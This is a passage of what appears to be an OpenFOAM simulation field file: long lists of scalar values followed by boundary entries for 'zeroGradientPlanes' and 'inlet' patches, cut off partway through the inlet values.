1.01647e-07
3.21411e-05
1.02113e-07
3.21446e-05
1.06695e-07
3.21484e-05
1.08805e-07
3.2152e-05
1.12108e-07
3.21547e-05
1.11316e-07
3.2159e-05
1.14579e-07
3.21627e-05
1.14695e-07
3.21643e-05
1.19951e-07
3.21688e-05
1.1316e-07
3.21722e-05
1.24023e-07
3.21722e-05
1.17156e-07
3.21768e-05
1.1745e-07
3.21812e-05
1.22803e-07
3.21805e-05
1.27641e-07
3.21824e-05
1.14471e-07
3.21869e-05
1.22403e-07
3.21885e-05
1.27268e-07
3.21896e-05
1.242e-07
3.21924e-05
1.23422e-07
3.21951e-05
1.2675e-07
3.21968e-05
1.30938e-07
3.21987e-05
1.19675e-07
3.22017e-05
1.29328e-07
3.2203e-05
1.16631e-07
3.22046e-05
1.22841e-07
3.2206e-05
1.06377e-07
3.22073e-05
1.12699e-07
3.22087e-05
9.28421e-08
3.22103e-05
9.89224e-08
3.22107e-05
7.68837e-08
3.22116e-05
7.48629e-08
3.22128e-05
5.49041e-08
3.22127e-05
5.52642e-08
3.22124e-05
3.30188e-08
3.22126e-05
3.32396e-08
3.22111e-05
1.52047e-08
3.22089e-05
9.5288e-09
3.22068e-05
-3.22622e-09
3.22031e-05
-1.08499e-08
3.21991e-05
-3.19828e-09
3.2195e-05
-2.21276e-09
3.21914e-05
1.30603e-08
3.21887e-05
2.55514e-08
3.21862e-05
4.45469e-08
3.2186e-05
6.56374e-08
3.21865e-05
9.06754e-08
3.21885e-05
1.07044e-07
3.21914e-05
1.35095e-07
3.21937e-05
1.34506e-07
3.21976e-05
1.66888e-07
3.21999e-05
1.445e-07
3.22043e-05
1.86617e-07
3.22058e-05
1.64672e-07
3.22079e-05
2.04824e-07
3.22077e-05
1.73892e-07
3.22101e-05
2.28223e-07
3.22135e-05
2.29961e-07
3.22187e-05
2.5027e-07
3.22264e-05
2.57016e-07
3.22309e-05
1.96479e-07
3.2235e-05
1.86778e-07
5.59602e-08
3.36219e-05
-3.39237e-08
3.36223e-05
-3.40703e-08
3.36226e-05
-3.35614e-08
3.36232e-05
-3.27695e-08
3.36235e-05
-3.18078e-08
3.36239e-05
-3.03843e-08
3.36237e-05
-2.86316e-08
3.36238e-05
-2.63144e-08
3.36234e-05
-2.36538e-08
3.36231e-05
-2.06881e-08
3.36226e-05
-1.74557e-08
3.36221e-05
-1.36496e-08
3.36217e-05
-1.01158e-08
3.36212e-05
-5.84358e-09
3.36215e-05
-2.74485e-09
3.36214e-05
2.56905e-09
3.3622e-05
5.22843e-09
3.36226e-05
1.10827e-08
3.36237e-05
1.3732e-08
3.36251e-05
1.98893e-08
3.36266e-05
2.28559e-08
3.36286e-05
2.8565e-08
3.36301e-05
3.20527e-08
3.36322e-05
3.69018e-08
3.36342e-05
4.09645e-08
3.36363e-05
4.58728e-08
3.36389e-05
4.95506e-08
3.36407e-05
5.47105e-08
3.36434e-05
5.72852e-08
3.36458e-05
6.31962e-08
3.3648e-05
6.52038e-08
3.36515e-05
7.09947e-08
3.36536e-05
7.46563e-08
3.36571e-05
7.92195e-08
3.36612e-05
8.45122e-08
3.3663e-05
8.90638e-08
3.36665e-05
8.9197e-08
3.36709e-05
9.72817e-08
3.36743e-05
9.87295e-08
3.3678e-05
1.02964e-07
3.36817e-05
1.05095e-07
3.36857e-05
1.08122e-07
3.3689e-05
1.08075e-07
3.36923e-05
1.11226e-07
3.36973e-05
1.09673e-07
3.36995e-05
1.17754e-07
3.37024e-05
1.10313e-07
3.37079e-05
1.18528e-07
3.37081e-05
1.16941e-07
3.3711e-05
1.14551e-07
3.37175e-05
1.16323e-07
3.3718e-05
1.27117e-07
3.37187e-05
1.1377e-07
3.37239e-05
1.17237e-07
3.37266e-05
1.24483e-07
3.37277e-05
1.23106e-07
3.37304e-05
1.20816e-07
3.37337e-05
1.23378e-07
3.37356e-05
1.29014e-07
3.37373e-05
1.17971e-07
3.37408e-05
1.2588e-07
3.37426e-05
1.14833e-07
3.37446e-05
1.20818e-07
3.37465e-05
1.04497e-07
3.37482e-05
1.10989e-07
3.37499e-05
9.11854e-08
3.37521e-05
9.67169e-08
3.37525e-05
7.64672e-08
3.37534e-05
7.39757e-08
3.37546e-05
5.36889e-08
3.37543e-05
5.55948e-08
3.37536e-05
3.3713e-08
3.37534e-05
3.33638e-08
3.37515e-05
1.71614e-08
3.3749e-05
1.20306e-08
3.37463e-05
-5.88008e-10
3.37422e-05
-6.73049e-09
3.3738e-05
1.076e-09
3.37339e-05
1.87782e-09
3.37301e-05
1.68495e-08
3.37271e-05
2.84738e-08
3.37246e-05
4.70832e-08
3.3724e-05
6.6277e-08
3.37242e-05
9.04311e-08
3.37259e-05
1.05365e-07
3.37286e-05
1.32367e-07
3.37309e-05
1.32276e-07
3.37347e-05
1.6304e-07
3.37369e-05
1.42315e-07
3.3741e-05
1.82472e-07
3.37428e-05
1.62884e-07
3.37456e-05
2.02065e-07
3.3746e-05
1.73479e-07
3.37491e-05
2.25075e-07
3.37533e-05
2.25805e-07
3.37594e-05
2.44138e-07
3.37679e-05
2.48562e-07
3.37731e-05
1.91228e-07
3.37778e-05
1.82075e-07
5.76488e-08
3.52311e-05
-3.45706e-08
3.52322e-05
-3.516e-08
3.52336e-05
-3.49931e-08
3.52354e-05
-3.45501e-08
3.52368e-05
-3.31642e-08
3.52379e-05
-3.1521e-08
3.52384e-05
-2.91581e-08
3.52386e-05
-2.64508e-08
3.52384e-05
-2.3473e-08
3.52377e-05
-2.00327e-08
3.52368e-05
-1.65128e-08
3.52356e-05
-1.24945e-08
3.5235e-05
-9.47044e-09
3.52341e-05
-4.96071e-09
3.52338e-05
-2.38235e-09
3.52336e-05
2.69519e-09
3.52336e-05
5.23156e-09
3.52341e-05
1.0636e-08
3.52343e-05
1.34884e-08
3.52353e-05
1.88664e-08
3.52359e-05
2.23181e-08
3.52371e-05
2.73285e-08
3.52381e-05
3.10952e-08
3.52392e-05
3.58003e-08
3.5241e-05
3.91212e-08
3.52424e-05
4.44941e-08
3.52448e-05
4.71532e-08
3.52466e-05
5.28804e-08
3.52489e-05
5.50314e-08
3.52515e-05
6.05836e-08
3.52535e-05
6.3155e-08
3.52568e-05
6.77814e-08
3.52595e-05
7.19142e-08
3.52624e-05
7.62635e-08
3.52667e-05
8.03024e-08
3.52695e-05
8.62508e-08
3.52724e-05
8.62933e-08
3.5277e-05
9.26914e-08
3.52806e-05
9.51011e-08
3.52846e-05
9.89654e-08
3.52887e-05
1.01018e-07
3.52924e-05
1.04396e-07
3.52967e-05
1.03769e-07
3.52995e-05
1.08399e-07
3.53046e-05
1.04647e-07
3.53089e-05
1.13417e-07
3.53103e-05
1.08925e-07
3.53164e-05
1.12382e-07
3.53188e-05
1.14588e-07
3.53197e-05
1.13636e-07
3.53266e-05
1.09428e-07
3.53295e-05
1.24196e-07
3.5329e-05
1.14311e-07
3.53336e-05
1.12573e-07
3.53382e-05
1.19958e-07
3.53397e-05
1.21583e-07
3.53421e-05
1.1836e-07
3.53465e-05
1.19012e-07
3.53492e-05
1.26337e-07
3.53509e-05
1.16212e-07
3.53547e-05
1.22093e-07
3.53567e-05
1.1286e-07
3.53588e-05
1.18726e-07
3.53606e-05
1.02646e-07
3.5362e-05
1.09639e-07
3.53635e-05
8.97019e-08
3.53659e-05
9.43313e-08
3.5366e-05
7.6302e-08
3.53668e-05
7.31703e-08
3.53679e-05
5.26344e-08
3.53678e-05
5.57116e-08
3.53671e-05
3.43426e-08
3.53673e-05
3.31732e-08
3.53655e-05
1.89739e-08
3.53631e-05
1.44445e-08
3.53605e-05
1.99953e-09
3.53562e-05
-2.42712e-09
3.53518e-05
5.51958e-09
3.53473e-05
6.35799e-09
3.53432e-05
2.09736e-08
3.53397e-05
3.19823e-08
3.53367e-05
5.00011e-08
3.53355e-05
6.75344e-08
3.53355e-05
9.04589e-08
3.53367e-05
1.04158e-07
3.53391e-05
1.29897e-07
3.53412e-05
1.30245e-07
3.5345e-05
1.59201e-07
3.53471e-05
1.40187e-07
3.53513e-05
1.78316e-07
3.53534e-05
1.60772e-07
3.53567e-05
1.98738e-07
3.53578e-05
1.72391e-07
3.53619e-05
2.21012e-07
3.53668e-05
2.20868e-07
3.53736e-05
2.3735e-07
3.53823e-05
2.39856e-07
3.53877e-05
1.858e-07
3.53927e-05
1.7706e-07
5.93827e-08
3.6916e-05
-3.59878e-08
3.69186e-05
-3.78017e-08
3.69219e-05
-3.82433e-08
3.69249e-05
-3.75614e-08
3.69272e-05
-3.55139e-08
3.69283e-05
-3.26145e-08
3.69283e-05
-2.91679e-08
3.69277e-05
-2.57933e-08
3.69267e-05
-2.24568e-08
3.69248e-05
-1.82163e-08
3.69232e-05
-1.48411e-08
3.69216e-05
-1.09549e-08
3.69203e-05
-8.15748e-09
3.69192e-05
-3.87386e-09
3.6918e-05
-1.13889e-09
3.69177e-05
2.98468e-09
3.69172e-05
5.74385e-09
3.69176e-05
1.01899e-08
3.69178e-05
1.32891e-08
3.69189e-05
1.78201e-08
3.69199e-05
2.12752e-08
3.69211e-05
2.6126e-08
3.69229e-05
2.93524e-08
3.6924e-05
3.46953e-08
3.69261e-05
3.70239e-08
3.69275e-05
4.30419e-08
3.69296e-05
4.5052e-08
3.69317e-05
5.08288e-08
3.69335e-05
5.32298e-08
3.69359e-05
5.81404e-08
3.69378e-05
6.13086e-08
3.69404e-05
6.51696e-08
3.69432e-05
6.90792e-08
3.69459e-05
7.35316e-08
3.69496e-05
7.66196e-08
3.69532e-05
8.27043e-08
3.69558e-05
8.368e-08
3.69601e-05
8.8397e-08
3.69641e-05
9.11199e-08
3.6968e-05
9.5071e-08
3.69727e-05
9.62805e-08
3.69762e-05
1.00925e-07
3.69809e-05
9.90587e-08
3.69843e-05
1.04969e-07
3.6988e-05
1.00963e-07
3.69939e-05
1.07466e-07
3.69955e-05
1.07352e-07
3.70003e-05
1.07608e-07
3.70052e-05
1.0966e-07
3.70058e-05
1.13012e-07
3.70112e-05
1.04022e-07
3.70173e-05
1.18146e-07
3.70171e-05
1.14486e-07
3.70202e-05
1.09488e-07
3.70261e-05
1.14037e-07
3.70284e-05
1.19319e-07
3.70302e-05
1.16557e-07
3.70348e-05
1.14392e-07
3.7038e-05
1.23172e-07
3.70397e-05
1.14449e-07
3.7044e-05
1.17801e-07
3.70464e-05
1.10466e-07
3.70494e-05
1.15731e-07
3.70519e-05
1.00183e-07
3.70537e-05
1.07789e-07
3.70556e-05
8.78457e-08
3.70585e-05
9.14506e-08
3.70588e-05
7.60045e-08
3.70596e-05
7.23357e-08
3.70605e-05
5.17108e-08
3.70602e-05
5.60661e-08
3.70591e-05
3.5371e-08
3.70587e-05
3.3575e-08
3.70565e-05
2.12421e-08
3.70535e-05
1.74248e-08
3.70504e-05
5.14123e-09
3.70456e-05
2.36506e-09
3.70408e-05
1.02359e-08
3.7036e-05
1.11584e-08
3.70319e-05
2.51057e-08
3.70283e-05
3.55865e-08
3.70254e-05
5.29498e-08
3.70239e-05
6.90206e-08
3.70236e-05
9.07114e-08
3.70246e-05
1.0317e-07
3.70269e-05
1.27623e-07
3.70289e-05
1.28274e-07
3.70326e-05
1.55451e-07
3.70345e-05
1.38338e-07
3.70385e-05
1.74269e-07
3.70408e-05
1.58459e-07
3.70447e-05
1.94849e-07
3.70463e-05
1.70794e-07
3.70512e-05
2.16149e-07
3.7057e-05
2.14995e-07
3.70649e-05
2.29528e-07
3.70745e-05
2.30195e-07
3.70807e-05
1.79646e-07
3.70863e-05
1.71452e-07
6.14465e-08
3.86931e-05
-4.10865e-08
3.86983e-05
-4.30038e-08
3.87028e-05
-4.27212e-08
3.87062e-05
-4.09643e-08
3.87069e-05
-3.62332e-08
3.87064e-05
-3.21767e-08
3.87054e-05
-2.80855e-08
3.87035e-05
-2.3923e-08
3.87009e-05
-1.9901e-08
3.86985e-05
-1.57957e-08
3.86961e-05
-1.24016e-08
3.86939e-05
-8.74535e-09
3.8692e-05
-6.24022e-09
3.86911e-05
-3.06591e-09
3.86905e-05
-4.74364e-10
3.86899e-05
3.58592e-09
3.86893e-05
6.28344e-09
3.86893e-05
1.02729e-08
3.86893e-05
1.32008e-08
3.86893e-05
1.78597e-08
3.86897e-05
2.09037e-08
3.86897e-05
2.61161e-08
3.86904e-05
2.86771e-08
3.86907e-05
3.43256e-08
3.86915e-05
3.62841e-08
3.86927e-05
4.18414e-08
3.86936e-05
4.40741e-08
3.86955e-05
4.89815e-08
3.86969e-05
5.1783e-08
3.8699e-05
5.60854e-08
3.87011e-05
5.92411e-08
3.87032e-05
6.30093e-08
3.87063e-05
6.60005e-08
3.87091e-05
7.07136e-08
3.87126e-05
7.31744e-08
3.87165e-05
7.87235e-08
3.87194e-05
8.08013e-08
3.87235e-05
8.4282e-08
3.87277e-05
8.69296e-08
3.87317e-05
9.10548e-08
3.87368e-05
9.12707e-08
3.87407e-05
9.7027e-08
3.87452e-05
9.45246e-08
3.87498e-05
1.00367e-07
3.87531e-05
9.77027e-08
3.87591e-05
1.01367e-07
3.87626e-05
1.03869e-07
3.87659e-05
1.04293e-07
3.8772e-05
1.03641e-07
3.87742e-05
1.10749e-07
3.8777e-05
1.01291e-07
3.87844e-05
1.10736e-07
3.87864e-05
1.12485e-07
3.87876e-05
1.08277e-07
3.87943e-05
1.07364e-07
3.87982e-05
1.15404e-07
3.87999e-05
1.14781e-07
3.8805e-05
1.09293e-07
3.8809e-05
1.1919e-07
3.88109e-05
1.12561e-07
3.88152e-05
1.13487e-07
3.88174e-05
1.08317e-07
3.88203e-05
1.12851e-07
3.88225e-05
9.79433e-08
3.88238e-05
1.06446e-07
3.88253e-05
8.6371e-08
3.88281e-05
8.86424e-08
3.88284e-05
7.57567e-08
3.88292e-05
7.15343e-08
3.88301e-05
5.07539e-08
3.88302e-05
5.60073e-08
3.88295e-05
3.60607e-08
3.88294e-05
3.36345e-08
3.8828e-05
2.27272e-08
3.88254e-05
2.00193e-08
3.88225e-05
8.02809e-09
3.88179e-05
6.88928e-09
3.88134e-05
1.4833e-08
3.88084e-05
1.61591e-08
3.88039e-05
2.9598e-08
3.87998e-05
3.96911e-08
3.87962e-05
5.65052e-08
3.8794e-05
7.11746e-08
3.87932e-05
9.15161e-08
3.87936e-05
1.02782e-07
3.87954e-05
1.25834e-07
3.87971e-05
1.26557e-07
3.88007e-05
1.51869e-07
3.88025e-05
1.36514e-07
3.88066e-05
1.70182e-07
3.88093e-05
1.55758e-07
3.88137e-05
1.90432e-07
3.8816e-05
1.68544e-07
3.88215e-05
2.10657e-07
3.88279e-05
2.08548e-07
3.8836e-05
2.21469e-07
3.88455e-05
2.20665e-07
3.88516e-05
1.73595e-07
3.88572e-05
1.65841e-07
6.33879e-08
4.06182e-05
-2.51436e-08
4.06016e-05
-2.63117e-08
4.05855e-05
-2.66909e-08
4.0572e-05
-2.74849e-08
4.05645e-05
-2.86681e-08
4.05597e-05
-2.73954e-08
4.05566e-05
-2.50159e-08
4.05547e-05
-2.19698e-08
4.05538e-05
-1.90139e-08
4.05532e-05
-1.52486e-08
4.05528e-05
-1.19971e-08
4.05515e-05
-7.41341e-09
4.05494e-05
-4.14407e-09
4.05465e-05
-1.31893e-10
4.05438e-05
2.24081e-09
4.05417e-05
5.67795e-09
4.05399e-05
8.00972e-09
4.05385e-05
1.17147e-08
4.05375e-05
1.41578e-08
4.05373e-05
1.81213e-08
4.05373e-05
2.08997e-08
4.05379e-05
2.54861e-08
4.05384e-05
2.8167e-08
4.05397e-05
3.3005e-08
4.05405e-05
3.5514e-08
4.05422e-05
4.01867e-08
4.05434e-05
4.28584e-08
4.05449e-05
4.74364e-08
4.05468e-05
4.99022e-08
4.05482e-05
5.46555e-08
4.05506e-05
5.68787e-08
4.05523e-05
6.13068e-08
4.05551e-05
6.32256e-08
4.0558e-05
6.77987e-08
4.05608e-05
7.03769e-08
4.05651e-05
7.44543e-08
4.0568e-05
7.78205e-08
4.05721e-05
8.0197e-08
4.05764e-05
8.26506e-08
4.05806e-05
8.69129e-08
4.05856e-05
8.62144e-08
4.059e-05
9.2613e-08
4.05944e-05
9.01584e-08
4.05994e-05
9.53169e-08
4.0603e-05
9.41526e-08
4.06081e-05
9.62326e-08
4.06132e-05
9.87738e-08
4.06165e-05
1.01044e-07
4.06218e-05
9.83061e-08
4.06269e-05
1.05694e-07
4.06286e-05
9.95941e-08
4.06354e-05
1.03936e-07
4.06406e-05
1.07223e-07
4.06411e-05
1.07807e-07
4.06466e-05
1.01831e-07
4.06522e-05
1.09832e-07
4.06539e-05
1.1312e-07
4.06585e-05
1.04653e-07
4.06634e-05
1.14268e-07
4.06655e-05
1.10489e-07
4.06702e-05
1.08734e-07
4.0673e-05
1.05574e-07
4.06764e-05
1.09463e-07
4.06796e-05
9.47303e-08
4.06817e-05
1.04369e-07
4.06832e-05
8.48562e-08
4.06864e-05
8.54298e-08
4.06872e-05
7.49773e-08
4.06878e-05
7.09499e-08
4.06885e-05
5.00523e-08
4.06885e-05
5.59171e-08
4.06874e-05
3.72433e-08
4.06866e-05
3.44053e-08
4.06847e-05
2.46185e-08
4.06816e-05
2.31042e-08
4.06778e-05
1.18436e-08
4.06727e-05
1.19492e-08
4.06678e-05
1.97537e-08
4.06623e-05
2.16353e-08
4.06577e-05
3.42664e-08
4.06534e-05
4.39556e-08
4.06498e-05
6.01008e-08
4.06475e-05
7.34906e-08
4.06466e-05
9.24531e-08
4.06467e-05
1.02641e-07
4.06485e-05
1.2407e-07
4.065e-05
1.24974e-07
4.06536e-05
1.48287e-07
4.06551e-05
1.35026e-07
4.06593e-05
1.65999e-07
4.06621e-05
1.52944e-07
4.06671e-05
1.85442e-07
4.06698e-05
1.65899e-07
4.06762e-05
2.04242e-07
4.06836e-05
2.01163e-07
4.06927e-05
2.12319e-07
4.07033e-05
2.10028e-07
4.07101e-05
1.66858e-07
4.07164e-05
1.59494e-07
6.56509e-08
4.24878e-05
-3.57546e-08
4.2499e-05
-3.76006e-08
4.25095e-05
-3.71053e-08
4.25171e-05
-3.51294e-08
4.25189e-05
-3.04935e-08
4.25178e-05
-2.62408e-08
4.25152e-05
-2.2476e-08
4.25111e-05
-1.78593e-08
4.25063e-05
-1.42144e-08
4.25009e-05
-9.8451e-09
4.2496e-05
-7.07154e-09
4.24922e-05
-3.59688e-09
4.24898e-05
-1.79589e-09
4.24886e-05
1.09657e-09
4.24876e-05
3.22871e-09
4.24869e-05
6.39576e-09
4.24861e-05
8.76208e-09
4.2486e-05
1.18674e-08
4.24853e-05
1.4827e-08
4.24849e-05
1.85095e-08
4.24841e-05
2.17217e-08
4.24836e-05
2.59611e-08
4.2483e-05
2.88163e-08
4.24826e-05
3.33921e-08
4.24824e-05
3.56963e-08
4.24822e-05
4.0356e-08
4.24829e-05
4.21867e-08
4.24832e-05
4.71328e-08
4.24847e-05
4.84365e-08
4.24858e-05
5.34913e-08
4.24877e-05
5.50366e-08
4.24898e-05
5.91985e-08
4.24918e-05
6.12526e-08
4.24951e-05
6.44369e-08
4.24976e-05
6.79164e-08
4.25017e-05
7.03009e-08
4.25054e-05
7.42166e-08
4.2509e-05
7.65195e-08
4.25137e-05
7.79435e-08
4.25177e-05
8.29167e-08
4.25227e-05
8.12046e-08
4.25277e-05
8.76783e-08
4.25321e-05
8.57003e-08
4.25376e-05
8.98952e-08
4.25418e-05
8.99048e-08
4.25466e-05
9.14095e-08
4.25522e-05
9.31771e-08
4.25567e-05
9.66018e-08
4.25609e-05
9.40626e-08
4.25668e-05
9.97973e-08
4.25696e-05
9.68255e-08
4.25741e-05
9.94459e-08
4.25811e-05
1.0018e-07
4.25834e-05
1.05501e-07
4.25869e-05
9.83874e-08
4.25939e-05
1.02767e-07
4.25971e-05
1.09897e-07
4.26007e-05
1.01135e-07
4.26067e-05
1.08204e-07
4.26091e-05
1.08127e-07
4.26129e-05
1.04951e-07
4.2616e-05
1.02449e-07
4.26182e-05
1.07248e-07
4.26208e-05
9.21256e-08
4.26233e-05
1.01886e-07
4.26236e-05
8.4536e-08
4.26261e-05
8.29009e-08
4.26278e-05
7.33179e-08
4.26281e-05
7.06105e-08
4.26287e-05
4.95231e-08
4.26297e-05
5.4859e-08
4.26292e-05
3.77841e-08
4.26288e-05
3.4821e-08
4.26282e-05
2.52351e-08
4.2626e-05
2.52475e-08
4.26227e-05
1.51896e-08
4.26185e-05
1.6148e-08
4.26141e-05
2.41186e-08
4.26089e-05
2.68878e-08
4.26039e-05
3.92188e-08
4.25993e-05
4.85706e-08
4.25952e-05
6.42218e-08
4.25922e-05
7.6457e-08
4.25905e-05
9.41978e-08
4.25898e-05
1.03329e-07
4.25909e-05
1.22936e-07
4.2592e-05
1.23858e-07
4.25953e-05
1.45004e-07
4.25968e-05
1.33552e-07
4.2601e-05
1.61785e-07
4.26042e-05
1.4972e-07
4.26096e-05
1.80057e-07
4.26129e-05
1.62603e-07
4.26195e-05
1.97613e-07
4.26271e-05
1.9363e-07
4.26358e-05
2.03563e-07
4.26456e-05
2.00202e-07
4.26518e-05
1.60653e-07
4.26576e-05
1.53727e-07
6.7687e-08
4.45998e-05
-2.55046e-08
4.45892e-05
-2.69295e-08
4.45791e-05
-2.70818e-08
4.45697e-05
-2.57085e-08
4.45628e-05
-2.35506e-08
4.45566e-05
-2.00954e-08
4.4551e-05
-1.68037e-08
4.4546e-05
-1.29353e-08
4.45417e-05
-9.86246e-09
4.45378e-05
-5.92332e-09
4.45341e-05
-3.3779e-09
4.45311e-05
-6.09966e-10
4.45279e-05
1.34778e-09
4.45251e-05
3.91064e-09
4.45224e-05
5.9545e-09
4.45205e-05
8.2799e-09
4.45185e-05
1.07395e-08
4.45168e-05
1.35853e-08
4.45154e-05
1.62702e-08
4.45141e-05
1.97904e-08
4.45133e-05
2.24714e-08
4.45126e-05
2.672e-08
4.45124e-05
2.90322e-08
4.45121e-05
3.37026e-08
4.45123e-05
3.54812e-08
4.45125e-05
4.01804e-08
4.45131e-05
4.15843e-08
4.4514e-05
4.62054e-08
4.45149e-05
4.75651e-08
4.45167e-05
5.16707e-08
4.45179e-05
5.37688e-08
4.45204e-05
5.67884e-08
4.45221e-05
5.94764e-08
4.4525e-05
6.15561e-08
4.4528e-05
6.49096e-08
4.45313e-05
6.70547e-08
4.45357e-05
6.97387e-08
4.45392e-05
7.30574e-08
4.4544e-05
7.31469e-08
4.45486e-05
7.83551e-08
4.45531e-05
7.67091e-08
4.45588e-05
8.19312e-08
4.45632e-05
8.13072e-08
4.45689e-05
8.42374e-08
4.45736e-05
8.51493e-08
4.45784e-05
8.66478e-08
4.4584e-05
8.7514e-08
4.45893e-05
9.13448e-08
4.4594e-05
8.93998e-08
4.45996e-05
9.41552e-08
4.46044e-05
9.20691e-08
4.46083e-05
9.54896e-08
4.46147e-05
9.37517e-08
4.46201e-05
1.00168e-07
4.46222e-05
9.62974e-08
4.46284e-05
9.64932e-08
4.46341e-05
1.04185e-07
4.46363e-05
9.89802e-08
4.46428e-05
1.01747e-07
4.46468e-05
1.0408e-07
4.46496e-05
1.02125e-07
4.46541e-05
9.80209e-08
4.4657e-05
1.04278e-07
4.46591e-05
9.00787e-08
4.46634e-05
9.75973e-08
4.4664e-05
8.39288e-08
4.46656e-05
8.12572e-08
4.46684e-05
7.05147e-08
4.46689e-05
7.01753e-08
4.46685e-05
4.98437e-08
4.46699e-05
5.34757e-08
4.46691e-05
3.86121e-08
4.46679e-05
3.6027e-08
4.4667e-05
2.60772e-08
4.46646e-05
2.76993e-08
4.46601e-05
1.96673e-08
4.46554e-05
2.09094e-08
4.46508e-05
2.86999e-08
4.4645e-05
3.26848e-08
4.46397e-05
4.44852e-08
4.46347e-05
5.35529e-08
4.46305e-05
6.84279e-08
4.46274e-05
7.96148e-08
4.46255e-05
9.60447e-08
4.46245e-05
1.04307e-07
4.46258e-05
1.21699e-07
4.46268e-05
1.2281e-07
4.46302e-05
1.4165e-07
4.46314e-05
1.32326e-07
4.46358e-05
1.57403e-07
4.46392e-05
1.46345e-07
4.46451e-05
1.7416e-07
4.46486e-05
1.5904e-07
4.46561e-05
1.90111e-07
4.46645e-05
1.85206e-07
4.46745e-05
1.93652e-07
4.46854e-05
1.89234e-07
4.46923e-05
1.53758e-07
4.46989e-05
1.47127e-07
7e-08
4.67524e-05
4.67452e-05
4.67367e-05
4.67274e-05
4.6718e-05
4.6709e-05
4.67005e-05
4.66929e-05
4.66856e-05
4.66796e-05
4.6675e-05
4.6672e-05
4.66696e-05
4.66678e-05
4.66659e-05
4.66639e-05
4.66621e-05
4.66601e-05
4.66584e-05
4.66563e-05
4.66545e-05
4.66526e-05
4.66509e-05
4.66493e-05
4.66479e-05
4.66469e-05
4.6646e-05
4.66461e-05
4.6646e-05
4.66472e-05
4.66481e-05
4.66498e-05
4.66517e-05
4.66539e-05
4.66572e-05
4.66601e-05
4.66644e-05
4.66682e-05
4.66725e-05
4.66775e-05
4.66817e-05
4.66876e-05
4.66924e-05
4.6698e-05
4.67033e-05
4.67082e-05
4.67141e-05
4.67196e-05
4.67247e-05
4.673e-05
4.67351e-05
4.67396e-05
4.67451e-05
4.67518e-05
4.67548e-05
4.67599e-05
4.67673e-05
4.67697e-05
4.67751e-05
4.67803e-05
4.67821e-05
4.67856e-05
4.67885e-05
4.67888e-05
4.67923e-05
4.67929e-05
4.67933e-05
4.67964e-05
4.67975e-05
4.6797e-05
4.67995e-05
4.68e-05
4.67993e-05
4.68e-05
4.67994e-05
4.67961e-05
4.67925e-05
4.67891e-05
4.67839e-05
4.67786e-05
4.67733e-05
4.67685e-05
4.67645e-05
4.67618e-05
4.67597e-05
4.67599e-05
4.67602e-05
4.67631e-05
4.67644e-05
4.67687e-05
4.67725e-05
4.67787e-05
4.67831e-05
4.67904e-05
4.67983e-05
4.68068e-05
4.6816e-05
4.68214e-05
4.68267e-05
)
;
boundaryField
{
zeroGradientPlanes
{
type calculated;
value nonuniform List<scalar>
220
(
5.63371e-07
-3.57273e-07
2.70659e-06
-1.02308e-06
-1.18858e-06
-2.51983e-06
2.54689e-07
7.1315e-07
2.29479e-06
1.75735e-06
1.64637e-06
5.34212e-07
1.55126e-07
6.42973e-08
-6.84281e-07
2.02913e-07
-8.48497e-07
3.10663e-07
-4.36118e-07
4.52416e-07
3.36057e-08
1.06557e-07
1.897e-07
2.84441e-07
3.91924e-07
5.12971e-07
6.48094e-07
7.97438e-07
9.60633e-07
1.13654e-06
1.32294e-06
1.51638e-06
1.7123e-06
1.90573e-06
2.09223e-06
2.26883e-06
2.43451e-06
2.5901e-06
2.73773e-06
2.88012e-06
3.01996e-06
3.15966e-06
3.30132e-06
3.44688e-06
3.59826e-06
3.7573e-06
3.92564e-06
4.10449e-06
4.29456e-06
4.49614e-06
4.70926e-06
4.93393e-06
5.17024e-06
5.41842e-06
5.67886e-06
5.95199e-06
6.23834e-06
6.53848e-06
6.85304e-06
7.1827e-06
7.52822e-06
7.89037e-06
8.26997e-06
8.66787e-06
9.08495e-06
9.52213e-06
9.98037e-06
1.04607e-05
1.09641e-05
1.14917e-05
1.20446e-05
1.26241e-05
1.32313e-05
1.38676e-05
1.45343e-05
1.5233e-05
1.5965e-05
1.6732e-05
1.75356e-05
1.83776e-05
1.92598e-05
2.01841e-05
2.11526e-05
2.21672e-05
2.32303e-05
2.43441e-05
2.5511e-05
2.67335e-05
2.80143e-05
2.93559e-05
3.07614e-05
3.22335e-05
3.37761e-05
3.5391e-05
3.70842e-05
3.88552e-05
4.07142e-05
4.26556e-05
4.46966e-05
4.68248e-05
1.42186e-09
-2.73328e-09
3.14418e-09
-1.61598e-08
-1.50697e-08
-3.24294e-08
-2.83931e-08
-3.76208e-08
-2.49906e-08
-2.7045e-08
-1.94185e-08
-2.11327e-08
-1.80773e-08
-2.23522e-08
-2.13925e-08
-2.43027e-08
-2.40024e-08
-2.4679e-08
-2.40386e-08
-2.31215e-08
-2.03309e-08
-1.97465e-08
-1.85149e-08
-1.64251e-08
-1.41411e-08
-1.11429e-08
-8.33031e-09
-5.26459e-09
-2.64568e-09
7.65799e-11
1.23715e-09
2.37822e-09
3.76233e-09
5.75528e-09
7.86394e-09
1.02654e-08
1.25318e-08
1.55409e-08
1.80237e-08
2.18605e-08
2.42799e-08
2.86419e-08
3.07113e-08
3.52806e-08
3.69494e-08
4.11446e-08
4.24604e-08
4.61025e-08
4.76484e-08
5.05543e-08
5.28283e-08
5.50661e-08
5.76046e-08
5.93407e-08
6.16615e-08
6.41121e-08
6.54129e-08
6.9285e-08
6.88444e-08
7.33531e-08
7.25072e-08
7.60179e-08
7.6568e-08
7.8631e-08
7.97646e-08
8.182e-08
8.16143e-08
8.58627e-08
8.42184e-08
8.88513e-08
8.69911e-08
9.10245e-08
8.82826e-08
9.34311e-08
9.3265e-08
9.14159e-08
9.67907e-08
9.65352e-08
9.63615e-08
9.88918e-08
1.00348e-07
9.45318e-08
1.01392e-07
8.97456e-08
9.40503e-08
8.33411e-08
8.092e-08
6.74197e-08
6.90551e-08
5.0283e-08
5.10037e-08
3.81646e-08
3.66836e-08
2.53445e-08
2.83505e-08
2.30046e-08
2.44258e-08
3.21861e-08
3.7879e-08
4.97635e-08
5.88273e-08
7.32154e-08
8.35947e-08
9.87548e-08
1.06415e-07
1.21485e-07
1.22514e-07
1.38826e-07
1.3099e-07
1.53065e-07
1.42549e-07
1.68033e-07
1.54635e-07
1.82816e-07
1.77253e-07
1.85157e-07
1.8007e-07
1.48303e-07
1.41842e-07
7.18776e-08
)
;
}
inlet
{
type calculated;
value nonuniform List<scalar>
80
(
-1.16841e-06
-1.22426e-06
-1.28278e-06
-1.3441e-06
-1.40835e-06
-1.47568e-06
-1.54622e-06
-1.62013e-06
-1.69757e-06
-1.77872e-06
-1.86375e-06
